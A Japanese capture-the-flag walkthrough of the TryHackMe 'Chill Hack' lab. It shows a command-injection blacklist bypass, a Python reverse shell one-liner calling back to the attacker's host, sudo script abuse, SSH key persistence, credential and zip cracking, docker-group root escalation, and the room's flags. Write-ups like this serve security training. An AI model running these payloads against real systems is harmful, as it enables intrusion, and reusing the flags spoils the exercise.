0
0

概要

TryHackMe「Chill Hack」のWalkthroughです。

Task1

Q2.User Flag

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.97.151 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 09:f9:5d:b9:18:d0:b2:3a:82:2d:6e:76:8c:c2:01:44 (RSA)
|   256 1b:cf:3a:49:8b:1b:20:b0:2c:6a:a5:51:a8:8f:1e:62 (ECDSA)
|_  256 30:05:cc:52:c6:6f:65:04:86:0f:72:41:c8:a4:39:cf (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Game Info
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 7.6p1
80 http Apache/2.4.29

Anonymous FTP login allowedなのでFTPを探索します。
Anonymousでログインします。

$ ftp 10.10.97.151
Connected to 10.10.97.151.
220 (vsFTPd 3.0.3)
Name (10.10.97.151:kali): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

note.txtを発見したので、ダウンロードします。

229 Entering Extended Passive Mode (|||32199|)
150 Here comes the directory listing.
-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
226 Directory send OK.
ftp> get note.txt

何かコマンドを入力するところがあり、そこがフィルタリングされているという内容です。

note.txt
Anurodh told me that there is some filtering on strings being put in the command -- Apaar

Webページのディレクトリ列挙を行います。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.97.151/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result -of md

(省略)

secret                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 238ms]

/secretページを発見しました。

secret.jpg

適当なコマンドを入力するとエラーが起きました。
note.txtにもあるようにフィルタリングがされているみたいです。

secret error.jpg

経験上RCEを実行する際に;(%3B)で区切ることが多いのでtest;whoamiを試すとRCEに成功しました。

bypass filter.jpg

Kaliと通信できるかpingコマンドで確認します。
コマンドをURLエンコードします。

$ echo "ping -c 1 10.6.55.144" | jq -Rr @uri  
ping%20-c%201%2010.6.55.144

%3Bで区切って実行すると通信に成功しました。
リバースシェルが出来そうです。

$ sudo tcpdump -i tun0 icmp   
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:03:44.217573 IP 10.10.97.151 > 10.6.55.144: ICMP echo request, id 2132, seq 1, length 64
09:03:44.217580 IP 10.6.55.144 > 10.10.97.151: ICMP echo reply, id 2132, seq 1, length 64

下記サイトでペイロードを生成し、URLエンコードします。

bashのペイロードなどを試しましたがシェルは得られませんでした。
/secret/index.phpからワードのブラックリストを確認しました。
ブラックリストのワードに一致するかで判別しています。

index.php
<?php
    if(isset($_POST['command']))
    {
        $cmd = $_POST['command'];
        $store = explode(" ",$cmd);
        $blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');
        for($i=0; $i<count($store); $i++)
        {
            for($j=0; $j<count($blacklist); $j++)
            {
                if($store[$i] == $blacklist[$j])
                return;
            }
        }
        echo shell_exec($cmd);
    }	
?>

ワードのバイパス手法を調べると\で区切る方法や''で区切る方法を発見しました。

バイパスに成功しpython3のパスを表示できました。

word bypass.jpg

ペイロードを送信し、リバースシェルを取得します。

'p'ython3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.97.151] 46574
www-data@ubuntu:/var/www/html/secret$

sudo -lで確認すると/home/apaar/.helpline.shが実行できると分かりました。

$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

/home/apaar/.helpline.shの処理を確認します。

/home/apaar/.helpline.sh
#!/bin/bash

echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo

read -p "Enter the person whom you want to talk with: " person

read -p "Hello user! I am $person,  Please enter your message: " msg

$msg 2>/dev/null

echo "Thank you for your precious time!"

$msgでコマンドインジェクションが出来そうです。
apaarユーザー権限でパスワードなしで実行できます。

$ sudo -u apaar /home/apaar/.helpline.sh
Welcome to helpdesk. Feel free to talk to anyone at any time!

Enter the person whom you want to talk with: /bin/bash
/bin/bash
Hello user! I am /bin/bash,  Please enter your message: /bin/bash 
/bin/bash
whoami
whoami
apaar

apaarアカウントのシェルを取得できました。
/home/apaar/.ssh/authorized_keysにKaliのSSH公開鍵を追記します。

KaliでSSH鍵を生成します。

$ ssh-keygen

ターゲットマシンのapaarのシェルを取得した状態で/home/apaar/.ssh/authorized_keyにKaliの公開鍵を追記します。

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKkcG3J2Ah2iMj8byUhQY2SaTjvXZkh7zj5et6r+m9Q1 kali@kali" >>authorized_keys

生成したSSH秘密鍵でapaarアカウントにログインします。

$ ssh -i /home/kali/.ssh/id_ed25519 apaar@10.10.97.151
apaar@ubuntu:~$

/home/apaar/local.txtからフラグを入手できます。

local.txt
{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

A.{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

Q1.Root Flag

linpeasをKaliからダウンロードし、実行します。

./linpeas.sh

ローカルでMySQLサーバーともう一つサーバーが動いているのを確認しました。

tcp        0      0 127.0.0.1:9001          0.0.0.0:*               LISTEN      -                                    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -

curlでリクエストを送信するとWebサービスのログインページを取得できました。

$ curl http://127.0.0.1:9001
<html>
<body>
<link rel="stylesheet" type="text/css" href="style.css">
        <div class="signInContainer">
                <div class="column">
                        <div class="header">
                                <h2 style="color:blue;">Customer Portal</h2>
                                <h3 style="color:green;">Log In<h3>
                        </div>
                        <form method="POST">
                                                                <input type="text" name="username" id="username" placeholder="Username" required>
                                <input type="password" name="password" id="password" placeholder="Password" required>
                                <input type="submit" name="submit" value="Submit">
                        </form>
                </div>
        </div>
</body>
</html>

また、/var/www/files配下にソースコードを発見しました。

$ ls -l /var/www/files/
total 20
-rw-r--r-- 1 root root  391 Oct  3  2020 account.php
-rw-r--r-- 1 root root  453 Oct  3  2020 hacker.php
drwxr-xr-x 2 root root 4096 Oct  3  2020 images
-rw-r--r-- 1 root root 1153 Oct  3  2020 index.php
-rw-r--r-- 1 root root  545 Oct  3  2020 style.css

index.phpでMySQLの認証情報を入手しました。

index.php

(省略)

try
    {
        $con = new PDO("mysql:dbname=webportal;host=localhost","root","!@m+her00+@db");
        $con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_WARNING);
    }

MySQLにログインします。

$ mysql -u root -p

webportalDBからアカウントのパスワードを入手できましたが、悪用できませんでした。

mysql> select * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username  | password                         |
+----+-----------+----------+-----------+----------------------------------+
|  1 | Anurodh   | Acharya  | Aurick    | 7e53614ced3640d5de23f111806cc4fd |
|  2 | Apaar     | Dahal    | cullapaar | 686216240e5af30df0501e53c789a649 |
+----+-----------+----------+-----------+----------------------------------+
2 rows in set (0.00 sec)

imagesを見ると画像ファイルがあるのでステガノグラフィーを考えます。
ターゲットマシンでWebサーバーを立ち上げて画像をダウンロードします。

$ python3 -m http.server 1234

image dir.jpg

ダウンロードしたhacker-with-laptop_23-2147985341.jpgからパスフレーズなしでbackup.zipを抽出できました。

$ steghide extract -sf hacker-with-laptop_23-2147985341.jpg 
Enter passphrase: 
wrote extracted data to "backup.zip".

解凍にパスワードが必要です。

$ unzip backup.zip 
Archive:  backup.zip
[backup.zip] source_code.php password: 
   skipping: source_code.php         incorrect password

JohnTheRipperで解析します。

$ zip2john backup.zip > backup_hash                 
ver 2.0 efh 5455 efh 7875 backup.zip/source_code.php PKZIP Encr: TS_chk, cmplen=554, decmplen=1211, crc=69DC82F3 ts=2297 cs=2297 type=8
$ john backup_hash --wordlist=/usr/share/wordlists/rockyou.txt
pass1word        (backup.zip/source_code.php)

パスワードが判明したので解凍し、source_code.phpを取り出せました。

$ unzip backup.zip 
Archive:  backup.zip
[backup.zip] source_code.php password: 
  inflating: source_code.php
source_code.php
<html>
<head>
        Admin Portal
</head>
        <title> Site Under Development ... </title>
        <body>
                <form method="POST">
                        Username: <input type="text" name="name" placeholder="username"><br><br>
                        Email: <input type="email" name="email" placeholder="email"><br><br>
                        Password: <input type="password" name="password" placeholder="password">
                        <input type="submit" name="submit" value="Submit"> 
                </form>
<?php
        if(isset($_POST['submit']))
        {
                $email = $_POST["email"];
                $password = $_POST["password"];
                if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
                { 
                        $random = rand(1000,9999);?><br><br><br>
                        <form method="POST">
                                Enter the OTP: <input type="number" name="otp">
                                <input type="submit" name="submitOtp" value="Submit">
                        </form>
                <?php   mail($email,"OTP for authentication",$random);
                        if(isset($_POST["submitOtp"]))
                                {
                                        $otp = $_POST["otp"];
                                        if($otp == $random)
                                        {
                                                echo "Welcome Anurodh!";
                                                header("Location: authenticated.php");
                                        }
                                        else
                                        {
                                                echo "Invalid OTP";
                                        }
                                }
                }
                else
                {
                        echo "Invalid Username or Password";
                }
        }
?>
</html>

コード中にパスワードがハードコードされているのでbase64でデコードし、パスワードを得られました。

$ echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d               
!d0ntKn0wmYp@ssw0rd

anurodhアカウントへ昇格します。

$ su anurodh
Password: 
anurodh@ubuntu:/home$ whoami
anurodh

idコマンドで見るとdockerグループに属していることが分かりました。

$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)

この場合権限昇格の脆弱性があります

コマンドを実行し、root権限を取得します。

$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# whoami
root

/root/proof.txtからルートフラグを入手できます。

/root/proof.txt

                                        {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}


Congratulations! You have successfully completed the challenge.


         ,-.-.     ,----.                                             _,.---._    .-._           ,----.  
,-..-.-./  \==\ ,-.--` , \   _.-.      _.-.             _,..---._   ,-.' , -  `. /==/ \  .-._ ,-.--` , \ 
|, \=/\=|- |==||==|-  _.-` .-,.'|    .-,.'|           /==/,   -  \ /==/_,  ,  - \|==|, \/ /, /==|-  _.-` 
|- |/ |/ , /==/|==|   `.-.|==|, |   |==|, |           |==|   _   _\==|   .=.     |==|-  \|  ||==|   `.-. 
 \, ,     _|==/==/_ ,    /|==|- |   |==|- |           |==|  .=.   |==|_ : ;=:  - |==| ,  | -/==/_ ,    / 
 | -  -  , |==|==|    .-' |==|, |   |==|, |           |==|,|   | -|==| , '='     |==| -   _ |==|    .-'  
  \  ,  - /==/|==|_  ,`-._|==|- `-._|==|- `-._        |==|  '='   /\==\ -    ,_ /|==|  /\ , |==|_  ,`-._ 
  |-  /\ /==/ /==/ ,     //==/ - , ,/==/ - , ,/       |==|-,   _`/  '.='. -   .' /==/, | |- /==/ ,     / 
  `--`  `--`  `--`-----`` `--`-----'`--`-----'        `-.`.____.'     `--`--''   `--`./  `--`--`-----``  


--------------------------------------------Designed By -------------------------------------------------------
                                        |  Anurodh Acharya |
                                        ---------------------

                                     Let me know if you liked it.

Twitter
        - @acharya_anurodh
Linkedin
        - www.linkedin.com/in/anurodh-acharya-b1937116a

A.{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0